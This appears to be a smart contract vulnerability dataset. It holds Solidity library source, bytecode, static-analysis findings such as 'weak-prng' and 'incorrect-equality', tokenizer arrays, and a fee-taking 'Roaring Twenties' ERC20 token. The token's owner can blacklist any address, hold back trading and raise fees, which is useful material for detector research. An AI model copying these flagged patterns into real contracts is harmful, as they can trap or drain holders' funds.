*/ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } }
0x6080604052600436106100595760003560e01c80632c4e722e1461006e57806334fcf437146100925780634042b66f146100b2578063521eb273146100c7578063ec8ac4d8146100f9578063fc0c546a1461010c57600080fd5b36610069576100673361012a565b005b600080fd5b34801561007a57600080fd5b506008545b6040519081526020015b60405180910390f35b34801561009e57600080fd5b506100676100ad366004610671565b610212565b3480156100be57600080fd5b5060065461007f565b3480156100d357600080fd5b506002546001600160a01b03165b6040516001600160a01b039091168152602001610089565b61006761010736600461068a565b61012a565b34801561011857600080fd5b506001546001600160a01b03166100e1565b600260005414156101825760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064015b60405180910390fd5b6002600055346101928282610271565b600061019d8261032b565b6006549091506101ad9083610348565b6006556101ba838261035b565b60408051838152602081018390526001600160a01b0385169133917f6faf93231a456e552dbc9961f58d9713ee4f2e69d15f1975b050ef0911053a7b910160405180910390a3610208610365565b5050600160005550565b6007546001600160a01b0316331461026c5760405162461bcd60e51b815260206004820152601d60248201527f796f7520617265206e6f74207468652054696d6520677561726469616e0000006044820152606401610179565b600855565b6001600160a01b0382166102da5760405162461bcd60e51b815260206004820152602a60248201527f43726f776473616c653a2062656e656669636961727920697320746865207a65604482015269726f206164647265737360b01b6064820152608401610179565b806103275760405162461bcd60e51b815260206004820152601960248201527f43726f776473616c653a20776569416d6f756e742069732030000000000000006044820152606401610179565b5050565b6000610342600854836103a190919063ffffffff16565b92915050565b600061035482846106c9565b9392505050565b61032782826103ad565b6002546040516001600160a01b03909116903480156108fc02916000818181858888f1935050505015801561039e573d6000803e3d6000fd5b50565b600061035482846106e1565b600154610327906001600160a01b031683836040516001600160a01b03831660248201526044810182905261042190849063a9059cbb60e01b9060640160408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610426565b505050565b600061047b826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166104f89092919063ffffffff16565b80519091501561042157808060200190518101906104999190610700565b6104215760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610179565b6060610507848460008561050f565b949350505050565b606030318311156105715760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610179565b843b6105bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610179565b600080866001600160a01b031685876040516105db9190610752565b60006040518083038185875af1925050503d8060008114610618576040519150601f19603f3d011682016040523d82523d6000602084013e61061d565b606091505b509150915061062d828286610638565b979650505050505050565b60608315610647575081610354565b8251156106575782518084602001fd5b8160405162461bcd60e51b8152600401610179919061076e565b60006020828403121561068357600080fd5b5035919050565b60006020828403121561069c57600080fd5b81356001600160a01b038116811461035457600080fd5b634e487b7160e01b600052601160045260246000fd5b600082198211156106dc576106dc6106b3565b500190565b60008160001904831182151516156106fb576106fb6106b3565b500290565b60006020828403121561071257600080fd5b8151801515811461035457600080fd5b60005b8381101561073d578181015183820152602001610725565b8381111561074c576000848401525b50505050565b60008251610764818460208701610722565b9190910192915050565b602081526000825180602084015261078d816040850160208701610722565b601f01601f1916919091016040019291505056fea264697066735822122024ab0e7b358e4ae14d8c9e71dc22ddf075d5c9e8bc5082eabb5671b38d21380c64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 15136, 19317, 28311, 2683, 2581, 2509, 2050, 2581, 3676, 2546, 2487, 2050, 2575, 9468, 4402, 2683, 2063, 2549, 2497, 2629, 8586, 2278, 17465, 2278, 14526, 23352, 2487, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1018, 1012, 2570, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 12783, 9453, 1012, 14017, 1000, 1025, 3206, 2051, 9299, 2003, 12783, 9453, 1063, 2478, 3647, 18900, 2232, 2005, 21318, 3372, 17788, 2575, 1025, 4769, 2051, 18405, 2937, 1025, 21318, 3372, 17788, 2575, 2797, 1035, 2689, 3085, 11657, 1025, 9570, 2953, 1006, 21318, 3372, 17788, 2575, 3988, 11657, 1010, 1013, 1013, 1996, 3178, 3446, 4769, 3477, 3085, 15882, 1010, 29464, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,637
0x9718b20a8cd4421c1867a25533b2ddec4a4c4be4
// SPDX-License-Identifier: MIT // Roaring Twenties // Telegram: https://t.me/roaring2022 // Website: https://roaring20s.space pragma experimental ABIEncoderV2; pragma solidity >=0.6.0; import './external/Address.sol'; import './external/Ownable.sol'; import './external/IERC20.sol'; import './external/SafeMath.sol'; import './external/Uniswap.sol'; import './external/ReentrancyGuard.sol'; contract Roaring is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal; string public name; string public symbol; uint8 public constant decimals = 9; uint256 private _previousReflectionFee; uint256 private _previousTaxFee; IUniswapV2Router02 private uniswapRouter; address public uniswapPair; bool private tradingEnabled = false; bool private canSwap = true; bool private inSwap = false; uint256 public maxTxAmount; bool public isLaunchProtectionMode = true; mapping(address => bool) bots; event MaxBuyAmountUpdated(uint256 _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint256 _multiplier); event FeeRateUpdated(uint256 _rate); struct TokenProperties { uint256 supply; uint256 taxFee; uint256 reflectionFee; uint256 teamFee; uint256 devFee; uint256 marketingFee; address uniswapRouterAddress; address payable teamWalletAddress; address payable marketingWaletAddress; address payable devWalletAddress; } TokenProperties public properties; modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor( string memory _name, string memory _symbol, TokenProperties memory _properties ) public { properties = _properties; _tTotal = properties.supply * 10**9; _rTotal = (MAX - (MAX % _tTotal)); maxTxAmount = _tTotal.div(1000).mul(15); name = _name; symbol = _symbol; _previousReflectionFee = properties.reflectionFee; _previousTaxFee = properties.taxFee; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[properties.teamWalletAddress] = true; _isExcludedFromFee[properties.marketingWaletAddress] = true; _isExcludedFromFee[properties.devWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(properties.uniswapRouterAddress); uniswapRouter = _uniswapV2Router; _approve(address(this), address(uniswapRouter), _tTotal); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); IERC20(uniswapPair).approve(address(uniswapRouter), type(uint256).max); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, 'Amount must be less than total reflections'); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function setCanSwap(bool onoff) external onlyOwner { canSwap = onoff; } function setTradingEnabled() external onlyOwner { tradingEnabled = true; } function removeAllFee() private { if (properties.reflectionFee == 0 && properties.taxFee == 0) return; _previousReflectionFee = properties.reflectionFee; _previousTaxFee = properties.taxFee; properties.reflectionFee = 0; properties.taxFee = 0; } function restoreAllFee() private { properties.reflectionFee = _previousReflectionFee; properties.taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), 'ERC20: transfer from the zero address'); require(to != address(0), 'ERC20: transfer to the zero address'); require(amount > 0, 'Transfer amount must be greater than zero'); if (!tradingEnabled) { require(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _isExcludedFromFee[tx.origin], 'Trading is not live yet'); } require(!bots[from] && !bots[tx.origin], 'Bot blacklisted'); if (isLaunchProtectionMode && !inSwap) { require( _isExcludedFromFee[from] || _isExcludedFromFee[to] || amount <= maxTxAmount, "Max Transfer Limit Exceeds!" ); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapPair && tradingEnabled && canSwap) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(uniswapPair).div(100)) { swapTokensForEth(contractTokenBalance); } } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } if (from != uniswapPair && to != uniswapPair) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); if (takeFee && from == uniswapPair) properties.taxFee = _previousTaxFee; if (takeFee && to == uniswapPair) properties.reflectionFee = _previousReflectionFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapRouter.WETH(); _approve(address(this), address(uniswapRouter), tokenAmount); uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { properties.teamWalletAddress.transfer(amount.div(10).mul(properties.teamFee)); properties.marketingWaletAddress.transfer(amount.div(10).mul(properties.marketingFee)); properties.devWalletAddress.transfer(amount.div(10).mul(properties.devFee)); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tReflect ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tReflect); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tReflect) = _getTValues(tAmount, properties.reflectionFee, properties.taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tReflect, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tReflect); } function _getTValues( uint256 tAmount, uint256 reflectionFee, uint256 TaxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(reflectionFee).div(100); uint256 tReflect = tAmount.mul(TaxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tReflect); return (tTransferAmount, tFee, tReflect); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tReflect, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tReflect.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tReflect) private { uint256 currentRate = _getRate(); uint256 rTeam = tReflect.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function setTreasuryWallet(address payable _teamWalletAddress) external onlyOwner { properties.teamWalletAddress = _teamWalletAddress; _isExcludedFromFee[properties.teamWalletAddress] = true; } function setMFCWallet(address payable _marketingWaletAddress) external onlyOwner { properties.marketingWaletAddress = _marketingWaletAddress; _isExcludedFromFee[properties.marketingWaletAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner { _isExcludedFromFee[ad] = false; } function setTaxFee(uint256 taxFee) external onlyOwner { require(taxFee <= 25, 'Team fee must be less than 25%'); properties.taxFee = taxFee; } function setReflectionFee(uint256 reflect) external onlyOwner { require(reflect <= 25, 'Tax fee must be less than 25%'); properties.reflectionFee = reflect; } function manualSwap() external { require(_msgSender() == properties.teamWalletAddress || _msgSender() == properties.marketingWaletAddress || _msgSender() == properties.devWalletAddress, 'Not authorized'); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == properties.teamWalletAddress || _msgSender() == properties.marketingWaletAddress || _msgSender() == properties.devWalletAddress, 'Not authorized'); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function endLaunchProtection() external onlyOwner { isLaunchProtectionMode = false; } function setMaxTxAmount(uint256 percentage) external onlyOwner { maxTxAmount = _tTotal.mul(percentage).div(100); } function setBot(address bot, bool value) external onlyOwner { bots[bot] = value; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, 'Address: insufficient balance'); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require(success, 'Address: unable to send value, recipient may have reverted'); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'Address: low-level call with value failed'); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, 'Address: insufficient balance for call'); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev 